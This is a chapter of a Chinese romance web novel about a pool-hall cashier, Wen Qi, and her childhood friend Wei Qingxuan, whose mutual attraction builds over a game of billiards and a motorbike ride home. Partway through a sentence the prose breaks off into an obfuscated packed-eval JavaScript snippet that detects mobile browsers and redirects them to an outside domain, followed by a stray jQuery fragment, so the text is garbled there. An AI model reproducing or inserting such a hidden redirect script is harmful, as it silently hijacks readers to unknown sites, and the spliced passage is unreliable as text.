中午台球厅的人很少,魏青宣自早上来了之后就一直待在休息室里。
手里慢悠悠地转着一张照片。
陈语一再次核完最后一笔账后伸了个懒腰,转头对温栖说:“难得清闲,你想吃什么,我请你。”
温栖前几天经常的奶茶、水果投喂让陈语一有些不好意思,总想找时间请回来。
温栖不着痕迹地往休息室的门口看了好几眼,琢磨是不是今天早上自己的话太刺激魏青宣了。
毕竟从她话出口后,魏青宣一声不吭,只是默默地把她送到台球厅然后进休息室。
“小栖,你看什么呢?”
温栖回过神:“没看什么,在想等会儿要吃什么。”
“附近的外卖你比较熟,有什么推荐吗?”
一聊到这个话题,陈语一立刻打开她的手机,十分热情地给温栖介绍哪家店好吃,哪家店坑人。
两人讨论的津津有味的时候,张未港突然站到柜台前,敲了敲面板:“带我一个呗。”
陈语一抬头:“你不是一直吃的都是旁边那家猪脚饭吗?”
“他家今天关门了,”张未港双手撑在台面上,眨眨眼,“你们俩肯定知道哪家好吃,点的时候带顺道带上我。”
随后来了个wink。
温栖瞬间起了鸡皮疙瘩,移开脸不看他。
陈语一也吐槽了句:“能别做这个表情了吗,真吓人。”
自以为魅力无限的张未港在两女生这儿接连吃瘪,趁着没什么事儿直接打开旁边的台板进来。
“陈语一,对着我这张帅脸,你再把刚才的话说一遍。”
陈语一头也不抬:“吓人。”
张未港:“……”
陈语一懒得理他,转过头问温栖:“小栖,咱们就吃这个了,怎么样?”
“OK。”温栖打开账号后台,前两天的一个配音视频火了,粉丝数量飞涨。
再过段时间应该就能突破20万粉丝。
很多私信都问她什么时候直播,20万粉丝的福利能不能带着姐夫一起直播,你们的声音真的听起来很配。
看到这条私信温栖不解了好一会儿。
魏青宣的声音像浸过温水的檀木,不高不低,带着点慵懒磁性,尾音落得轻缓,沉稳里藏着不易察觉的温柔。
和温栖说话时,他的低磁总能稳稳接住她的清透。
但是对于这一方面,温栖从来没有注意过,于是她对那私信的内容持怀疑态度。
“点好了吗,别忘了我啊。”张未港在旁边提醒道。
“知道,”陈语一把手机转过来给他看,“一个小时才能到。”
张未港点头,望向旁边一直不说话的温栖:“小栖,这会儿没什么人,去不去打会儿球。”
视线从手机移开,温栖长舒了一口气:“行啊。”
台球厅的灯光斜斜切下来,在墨绿色的台上投下光斑。
温栖靠在台球桌旁,指尖虚虚拿着巧粉,视线漫不经心地从球杆顶端一路瞄向角落里的彩球,随后俯身。
“角度有点刁钻,”张未港倚着球杆站在对面,指尖转着颗球玩,语气带着点调侃,“要不要我让你一杆?”
温栖眼皮都没抬下,脸上没什么表情,只手腕极稳地一送。
球杆带着刚用巧粉摩擦的涩感撞向白球,母球贴着台边划出条精准的直线,直直撞上目标球。
球应声入袋,连带着母球都顺着惯性滚到了下一颗球的最佳位置。
空气静了半秒,张未港转着球的手指顿住,到了嘴边的调侃硬生生咽了回去,连带着脸上的笑也淡了几分。
“你不是说你打得一般吗?”
温栖耸耸肩:“初来乍到,谦虚点而已,”她抬眼,“你真信了?”
本来想装一把的张未港撑着腰,没好气地“啧”了声,角度如此好的一球他竟然没能打进去,听到旁边传来淡淡的笑声,他脸更是涨红。
就在温栖要打下一球的时候,门口的风铃突然叮当作响。
魏青宣的身影出现在逆光里,目光扫过球桌时,正好落在温栖俯身的动作上。
短款上衣被牵扯着往上缩了点,露出一小片腰腹。看着温栖无知无觉的模样,他蹙眉。
张未港先反应过来,干笑两声:“人不多,随便玩玩。”
说着就要转头示意温栖和他统一口径,毕竟他俩这确实算是偷懒。
可还没看到温栖,魏青宣随意踏了几步,刚好挡住他的视线。
球杆稳稳架在指间,温栖正要发力,身后突然覆来一片带着压迫感的阴影。
魏青宣的气息贴着她耳廓落下,带着不容置疑的笃定,手臂几乎是自然地环过她身侧,指尖擦过她握着球杆的手背。
他没看桌上的球局,余光落在张未港脸上,笑意浅淡却带着分明的界限:“我带来的人,还是我陪着打比较合适。”
温栖被圈在他和台球桌之间,鼻尖萦绕着他身上清冽的木质香,原本瞄准的白球在视野里晃了晃。
张未港举着球杆的手顿在半空,脸上的笑容彻底僵住了。
“小栖,张未港,外卖到了。”陈语一的声音自远处传来。
张未港咳了两声:“那我先去吃饭了。”
待人走后,魏青宣的目光扫过台面上散落的球,视线最后落在温栖脸上,眉梢微挑:“原来你会打,而且打得很好。”
“我记得你初中的时候还不会打。”
温栖勾了勾唇角,没直接回答,而是说:“之前在城东的时候有几个不错的陪练。”
他呼吸一屏,掌心覆紧她的手,带着她的手臂后拉、送杆。
“像这样手把手教的?”
温栖有些晃神,隔着两层薄薄的衣料,她清晰地感受到他腹部那几道起伏的线条。
是腹肌绷紧时特有的坚硬轮廓,随着他发力的动作微微起伏,带着灼人的温度。
同时也察觉这会儿的魏青宣有些不对劲儿,竟然敢主动靠近她了。
“魏青宣,你故意的?”
她起身,魏青宣也跟着起身,还稍稍往后退了几步。
魏青宣敛住几乎快要破土而出的心思,指尖在球杆上轻轻敲了敲,浅浅笑了声。
“怎么会。”
温栖错愕片刻,只觉得这对话好像有些熟悉。
不过她也懒得再想,他语气坦然,温栖却偏偏想起刚才贴在一起时的触感。
那种感觉很热,甚至让她心跳漏了半拍。
她的目光不受控地往下滑,落在他被黑色T恤勾勒出的腰腹位置,手指不自觉地动了动。
脑海中还不合时宜地冒出了念头:这样的手感,应该比想象中更硬一点吧?
“不可以。”
魏青宣的声音突然沉了半分,带着点低笑,伸手敲了敲她的额头,“再看,我就要当真了。”
说得又轻又快,像在退缩,又像在试探。
可温栖在听到这句话之后,果然像被烫到似的猛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270872|182289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地收回视线。
魏青宣望着她低垂的发顶,眼底的笑意慢慢淡了下去。
下午的时间,张未港有意无意地往收银台凑。可是温栖忙起来根本没空理他。
直到她下班的前十分钟,张未港才寻到空隙问她:“你和魏青宣关系……”
他知道温栖是魏青宣带来的,可是这几天两人除了一起上下班没有什么多余的交集,实在看起来不像一对情侣。
可今天这样一看,他才发觉俩人之间那种朦胧暧昧的气息几乎快要弥漫出来。
温栖本来想随口敷衍一句“朋友”的,可不知道想到了什么,又改口:“青梅竹马。”
张未港那点心思被掐灭了。要争谁争得过魏青宣,他可看得真真的,今天打球的时候,魏青宣看向他的眼神带着一股防备。
属于男人都懂的那种防备。
到了下班时间。走向机车的路上,路灯把两人的影子拉得老长,温栖踢着路边的小石子,眼神时不时扫过魏青宣宽厚的背影。
该死,她是真的好奇硬不硬。
魏青宣似乎察觉到她的沉默,脚步放慢了些,却没多问,只在走到机车旁时,自然地跨上去发动引擎,轰鸣声打破了片刻的安静。
瞧着他坐在那里等的样子,温栖莫名想到了“待宰的羔羊”这词。
温栖咳了声弯腰坐上后座,只犹豫了两秒,手臂就环了上去。
指尖触到他腰腹的瞬间,她清晰地感觉到那紧实的线条,比想象中更硬实些。
就是不知道没这层衣服是什么感觉,或许会颤栗?
不能想了,再想就不能坐下去了。
她飞快地收紧手臂,欲盖弥彰:“这可不是我故意摸的,纯粹是为了安全。”
魏青宣握着车把的手紧了紧,喉结滚动了一下,只低低地“嗯”了一声。
机车汇入夏夜的风里。
晚风带着草木的凉意扑在脸上,温栖却觉得环着的那片腰腹烫得惊人,热度透过薄薄的T恤渗过来,和他身上清冽的气息缠在一起。
魏青宣的心绪不平,比机车的轰鸣声还响咧。
机车停在车库时,温栖还没完全松开环着他腰的手。
指尖残留的触感像带电的羽毛,一下下撩在他神经上。
“你先上去吧。”他没回头,声音格外的冷淡,也格外的沙哑。
魏青宣几乎是屏住呼吸,等她跳下车的瞬间才猛地直起身,喉结滚动得格外用力。
“你也早点休息。”
温栖的声音带着点刚察觉的异样,却没多想,虚空收紧了指尖,回想着刚才的触感。
嗯,还不错。
魏青宣一直等到她的背影渐渐消失,才猛地跨下车,脚步快得几乎踉跄。
紧绷感越来越清晰,每走一步都像在灼烧,他头也不回地冲进自己房间。
目光扫过那块迎风飘荡的披肩,破的地方已经被补好,旁边甚至歪歪扭扭地重新绣了一个“栖”字。
他猛得抓下,指节也攥得发白。
窗外的蝉鸣混着心跳声撞在耳膜上。
台球厅里贴近时的呼吸、机车后座环着他的力度、指尖划过腰腹的温度。
一幕幕涌上来,最后都化作掌心布料摩擦的声响,在寂静的夜里格外清晰。
等那阵翻涌的热意终于退去些,他才脱力地靠在床头,看着被揉皱的披肩,无声地笑了笑。
那个歪歪扭扭的“栖”字也不复存在。
他又该补了。